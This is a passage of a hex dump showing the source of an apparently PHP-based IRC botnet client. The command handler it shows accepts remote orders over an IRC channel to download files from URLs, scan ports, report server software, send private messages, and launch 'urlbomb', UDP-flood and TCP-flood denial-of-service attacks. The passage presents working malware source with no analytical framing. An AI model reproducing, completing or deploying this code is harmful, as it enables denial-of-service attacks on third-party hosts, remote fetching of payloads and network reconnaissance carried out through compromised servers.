| 19200: | 77 | 6E | 6C | 6F | 61 | 64 | 20 | 5D | 20 | 55 | 52 | 4C | 20 | 5B | 22 | 2E | 24 | 6D | 63 | 6D | 64 | 5B | 20 | 31 | 20 | 5D | 2E | 22 | 5D | 20 | 74 | 6F | | wnload ] URL [".$mcmd[ 1 ]."] to |
| 19232: | 20 | 5B | 22 | 2E | 24 | 6D | 63 | 6D | 64 | 5B | 20 | 32 | 20 | 5D | 2E | 22 | 5D | 22 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | [".$mcmd[ 2 ]."]");
|
| 19264: | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 66 | 63 | 6C | 6F | 73 | 65 | 28 | 20 | 24 | | }
fclose( $ |
| 19296: | 66 | 70 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | fp );
}
|
| 19328: | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | }
else
|
| 19360: | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | | {
$this->privm |
| 19392: | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 64 | 6F | 77 | 6E | 6C | | sg( $this->get_chan( ), "[ downl |
| 19424: | 6F | 61 | 64 | 20 | 5D | 20 | 49 | 6E | 76 | 61 | 6C | 69 | 64 | 20 | 50 | 61 | 72 | 61 | 6D | 65 | 74 | 65 | 72 | 73 | 2C | 20 | 69 | 64 | 69 | 6F | 74 | 21 | | oad ] Invalid Parameters, idiot! |
| 19456: | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | " );
}
|
| 19488: | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | break;
}
|
| 19520: | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 70 | 6D | 73 | 67 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | | case "pmsg":
{
|
| 19552: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 70 | 65 | 72 | 73 | 6F | 6E | 20 | 3D | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 3B | 0D | 0A | 09 | | $person = $mcmd[1];
|
| 19584: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 65 | 78 | 74 | 20 | 3D | 20 | 73 | 75 | 62 | 73 | 74 | 72 | 28 | 20 | 73 | 74 | 72 | 73 | 74 | | $text = substr( strst |
| 19616: | 72 | 28 | 20 | 24 | 6D | 73 | 67 | 2C | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 20 | 29 | 2C | 20 | 73 | 74 | 72 | 6C | 65 | 6E | 28 | 20 | 24 | 6D | 63 | | r( $msg, $mcmd[1] ), strlen( $mc |
| 19648: | 6D | 64 | 5B | 31 | 5D | 20 | 29 | 20 | 2B | 20 | 31 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | | md[1] ) + 1 );
$thi |
| 19680: | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | | s->privmsg( $this->get_chan( ), |
| 19712: | 22 | 5B | 20 | 70 | 6D | 73 | 67 | 20 | 5D | 20 | 22 | 2E | 24 | 70 | 65 | 72 | 73 | 6F | 6E | 2E | 22 | 20 | 3D | 3E | 20 | 22 | 2E | 24 | 74 | 65 | 78 | 74 | | "[ pmsg ] ".$person." => ".$text |
| 19744: | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | | );
$this->privmsg( |
| 19776: | 20 | 24 | 70 | 65 | 72 | 73 | 6F | 6E | 2C | 20 | 24 | 74 | 65 | 78 | 74 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | $person, $text );
|
| 19808: | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | break;
}
|
| 19840: | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 70 | 73 | 63 | 61 | 6E | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | | case "pscan":
{
|
| 19872: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 68 | 6F | 73 | 74 | 20 | 3D | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | | $host = $mcmd[1];
|
| 19904: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 62 | 65 | 67 | 69 | 6E | 70 | 6F | 72 | 74 | 20 | 3D | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 32 | 5D | 3B | 0D | | $beginport = $mcmd[2];
|
| 19936: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 65 | 6E | 64 | 70 | 6F | 72 | 74 | 20 | 3D | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 33 | 5D | |
$endport = $mcmd[3] |
| 19968: | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 6F | 70 | 65 | 6E | 5F | 70 | 6F | 72 | 74 | 73 | 20 | 3D | 20 | 22 | 4F | 70 | | ;
$open_ports = "Op |
| 20000: | 65 | 6E | 20 | 50 | 6F | 72 | 74 | 20 | 4C | 69 | 73 | 74 | 20 | 66 | 6F | 72 | 20 | 22 | 2E | 24 | 68 | 6F | 73 | 74 | 2E | 22 | 3A | 20 | 22 | 3B | 0D | 0A | | en Port List for ".$host.": ";
|
| 20032: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 66 | 6F | 72 | 28 | 24 | 69 | |
for($i |
| 20064: | 20 | 3D | 20 | 24 | 62 | 65 | 67 | 69 | 6E | 70 | 6F | 72 | 74 | 3B | 20 | 24 | 69 | 20 | 3C | 20 | 24 | 65 | 6E | 64 | 70 | 6F | 72 | 74 | 3B | 20 | 24 | 69 | | = $beginport; $i < $endport; $i |
| 20096: | 2B | 2B | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ++)
{
|
| 20128: | 09 | 69 | 66 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 63 | 61 | 6E | 70 | 6F | 72 | 74 | 28 | 20 | 24 | 68 | 6F | 73 | 74 | 2C | 20 | 24 | 69 | 20 | | if( $this->scanport( $host, $i |
| 20160: | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ) )
{
|
| 20192: | 09 | 09 | 09 | 24 | 6F | 70 | 65 | 6E | 5F | 70 | 6F | 72 | 74 | 73 | 20 | 2E | 3D | 20 | 22 | 7C | 22 | 2E | 24 | 69 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | | $open_ports .= "|".$i;
|
| 20224: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | | }
}
|
| 20256: | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | |
$this->privm |
| 20288: | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 24 | 6F | 70 | 65 | 6E | 5F | 70 | 6F | | sg( $this->get_chan( ), $open_po |
| 20320: | 72 | 74 | 73 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | | rts );
break;
|
| 20352: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 73 | 6F | 66 | 74 | 77 | | }
case "softw |
| 20384: | 61 | 72 | 65 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | are":
{
|
| 20416: | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | | $this->privmsg( $this->get_chan |
| 20448: | 28 | 20 | 29 | 2C | 20 | 24 | 5F | 53 | 45 | 52 | 56 | 45 | 52 | 5B | 20 | 27 | 53 | 45 | 52 | 56 | 45 | 52 | 5F | 53 | 4F | 46 | 54 | 57 | 41 | 52 | 45 | 27 | | ( ), $_SERVER[ 'SERVER_SOFTWARE' |
| 20480: | 20 | 5D | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | | ] );
break;
|
| 20512: | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 73 | 6E | 66 | 22 | 3A | 0D | | }
case "snf":
|
| 20544: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | |
{
$this |
| 20576: | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 20 | 27 | 6E | 69 | 63 | 6B | 66 | 6F | 72 | 6D | 27 | 20 | 5D | 20 | 3D | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 20 | | ->config[ 'nickform' ] = $mcmd[ |
| 20608: | 31 | 20 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | | 1 ];
$this->privmsg |
| 20640: | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 4E | 69 | 63 | 6B | 6E | 61 | 6D | 65 | 20 | | ( $this->get_chan( ), "Nickname |
| 20672: | 66 | 6F | 72 | 6D | 61 | 74 | 20 | 73 | 65 | 74 | 20 | 74 | 6F | 20 | 5B | 20 | 22 | 2E | 24 | 6D | 63 | 6D | 64 | 5B | 20 | 31 | 20 | 5D | 2E | 22 | 20 | 5D | | format set to [ ".$mcmd[ 1 ]." ] |
| 20704: | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | | " );
break;
|
| 20736: | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 72 | 61 | 6E | 64 | 6E | 69 | 63 | | }
case "randnic |
| 20768: | 6B | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | | k":
{
$ |
| 20800: | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 65 | 74 | 5F | 6E | 69 | 63 | 6B | 28 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | | this->set_nick();
b |
| 20832: | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | reak;
}
|
| 20864: | 63 | 61 | 73 | 65 | 20 | 22 | 75 | 6E | 61 | 75 | 74 | 68 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | | case "unauth":
{
|
| 20896: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 72 | 65 | 6D | 6F | 76 | 65 | 5F | 61 | 75 | 74 | 68 | 28 | 20 | 24 | 68 | | $this->remove_auth( $h |
| 20928: | 6F | 73 | 74 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | | ost );
$this->privm |
| 20960: | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 61 | 75 | 74 | 68 | 20 | | sg( $this->get_chan( ), "[ auth |
| 20992: | 5D | 20 | 4C | 6F | 67 | 6F | 75 | 74 | 20 | 5B | 20 | 22 | 2E | 24 | 6E | 69 | 63 | 6B | 2E | 22 | 20 | 5D | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | | ] Logout [ ".$nick." ]" );
|
| 21024: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | | break;
}
|
| 21056: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 75 | 72 | 6C | 62 | 6F | 6D | 62 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | | case "urlbomb":
|
| 21088: | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 75 | 72 | 6C | 62 | 6F | | {
$this->urlbo |
| 21120: | 6D | 62 | 28 | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 20 | 31 | 20 | 5D | 2C | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 20 | 32 | 20 | 5D | 2C | 20 | 24 | 6D | 63 | 6D | | mb( $mcmd[ 1 ], $mcmd[ 2 ], $mcm |
| 21152: | 64 | 5B | 20 | 33 | 20 | 5D | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | | d[ 3 ] );
break;
|
| 21184: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | }
|
| 21216: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 75 | 64 | 70 | 66 | 6C | 6F | 6F | 64 | 22 | 3A | 20 | 0D | 0A | | case "udpflood":
|
| 21248: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | {
|
| 21280: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 63 | 6F | 75 | 6E | 74 | 28 | 20 | 24 | 6D | 63 | | if( count( $mc |
| 21312: | 6D | 64 | 20 | 29 | 20 | 3E | 20 | 33 | 20 | 29 | 20 | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | md ) > 3 )
|
| 21344: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | {
|
| 21376: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | | $this |
| 21408: | 2D | 3E | 75 | 64 | 70 | 66 | 6C | 6F | 6F | 64 | 28 | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 2C | 24 | 6D | 63 | 6D | 64 | 5B | 32 | 5D | 2C | 24 | 6D | 63 | | ->udpflood($mcmd[1],$mcmd[2],$mc |
| 21440: | 6D | 64 | 5B | 33 | 5D | 29 | 3B | 20 | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | md[3]);
|
| 21472: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 7D | 20 | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | }
|
| 21504: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | | break;
|
| 21536: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | }
|
| 21568: | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 74 | 63 | 70 | 66 | 6C | 6F | 6F | 64 | 22 | 3A | 20 | 0D | 0A | 09 | 09 | 09 | | case "tcpflood":
|
| 21600: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | {
|
| 21632: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 63 | 6F | 75 | 6E | 74 | 28 | 20 | 24 | 6D | 63 | 6D | 64 | 20 | | if( count( $mcmd |
| 21664: | 29 | 20 | 3E | 20 | 35 | 20 | 29 | 20 | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | ) > 5 )
|
| 21696: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 7B | 20 | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | {
|
| 21728: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 74 | | $this->t |
| 21760: | 63 | 70 | 66 | 6C | 6F | 6F | 64 | 28 | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 2C | 24 | 6D | 63 | 6D | 64 | 5B | 32 | 5D | 2C | 24 | 6D | 63 | 6D | 64 | 5B | | cpflood($mcmd[1],$mcmd[2],$mcmd[ |
| 21792: | 33 | 5D | 2C | 24 | 6D | 63 | 6D | 64 | 5B | 34 | 5D | 2C | 24 | 6D | 63 | 6D | 64 | 5B | 35 | 5D | 29 | 3B | 20 | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | 3],$mcmd[4],$mcmd[5]);
|
| 21824: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 7D | 20 | 0D | | }
|
| 21856: | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | |
|
| 21888: | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | break;
}
|
| 21920: | 09 | 09 | 09 | 7D | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 20 | 0D | 0A | 09 | | }
}
}
|
| 21952: | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 7D | 20 | | break;
}
} |
| 21984: | 0D | 0A | 09 | 09 | 09 | 09 | 7D | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 24 | 6F | 6C | 64 | 5F | 62 | 75 | 66 | 20 | 3D | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | |
}
$old_buf = $this-> |
| 22016: | 62 | 75 | 66 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 7D | 20 | 0D | 0A | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 74 | 61 | 72 | 74 | 28 | 29 | 3B | | buf;
}
$this->start(); |
| 22048: | 20 | 0D | 0A | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 0D | 0A | 09 | 09 | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 73 | 63 | 61 | 6E | 70 | 6F | 72 | 74 | 28 | |
}
function scanport( |
| 22080: | 20 | 24 | 68 | 6F | 73 | 74 | 2C | 20 | 24 | 70 | 6F | 72 | 74 | 20 | 29 | 0D | 0A | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 66 | 73 | 6F | | $host, $port )
{
if( fso |
| 22112: | 63 | 6B | 6F | 70 | 65 | 6E | 28 | 20 | 24 | 68 | 6F | 73 | 74 | 2C | 20 | 24 | 70 | 6F | 72 | 74 | 2C | 20 | 24 | 65 | 2C | 20 | 24 | 73 | 20 | 29 | 20 | 29 | | ckopen( $host, $port, $e, $s ) ) |
| 22144: | 0D | 0A | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 72 | 65 | 74 | 75 | 72 | 6E | 20 | 31 | 3B | 0D | 0A | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | |
{
return 1;
}
|
| 22176: | 72 | 65 | 74 | 75 | 72 | 6E | 20 | 30 | 3B | 0D | 0A | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 0D | 0A | 09 | 09 | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 75 | | return ;
}
function u |
| 22208: | 72 | 6C | 62 | 6F | 6D | 62 | 28 | 20 | 24 | 68 | 6F | 73 | 74 | 2C | 20 | 24 | 70 | 61 | 74 | 68 | 2C | 20 | 24 | 74 | 69 | 6D | 65 | 73 | 2C | 20 | 24 | 6D | | rlbomb( $host, $path, $times, $m |
| 22240: | 6F | 64 | 65 | 20 | 3D | 20 | 30 | 20 | 29 | 0D | 0A | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 21 | 69 | 73 | 73 | 65 | 74 | 28 | 20 | 24 | | ode = )
{
if( !isset( $ |
| 22272: | 68 | 6F | 73 | 74 | 20 | 29 | 20 | 7C | 7C | 20 | 21 | 69 | 73 | 73 | 65 | 74 | 28 | 20 | 24 | 70 | 61 | 74 | 68 | 20 | 29 | 20 | 7C | 7C | 20 | 21 | 69 | 73 | | host ) || !isset( $path ) || !is |
| 22304: | 73 | 65 | 74 | 28 | 20 | 24 | 74 | 69 | 6D | 65 | 73 | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 72 | 65 | 74 | 75 | 72 | 6E | 3B | 0D | 0A | 09 | 09 | | set( $times ) )
return;
|
| 22336: | 09 | 0D | 0A | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | |
$this->privmsg( $this->get |
| 22368: | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 27 | 5B | 20 | 75 | 72 | 6C | 62 | 6F | 6D | 62 | 20 | 5D | 20 | 73 | 74 | 61 | 72 | 74 | 65 | 64 | 21 | 20 | | _chan( ), '[ urlbomb ] started! |
| 22400: | 5B | 20 | 27 | 2E | 24 | 68 | 6F | 73 | 74 | 2E | 27 | 2F | 27 | 2E | 24 | 70 | 61 | 74 | 68 | 2E | 27 | 20 | 5D | 27 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | | [ '.$host.'/'.$path.' ]' );
|
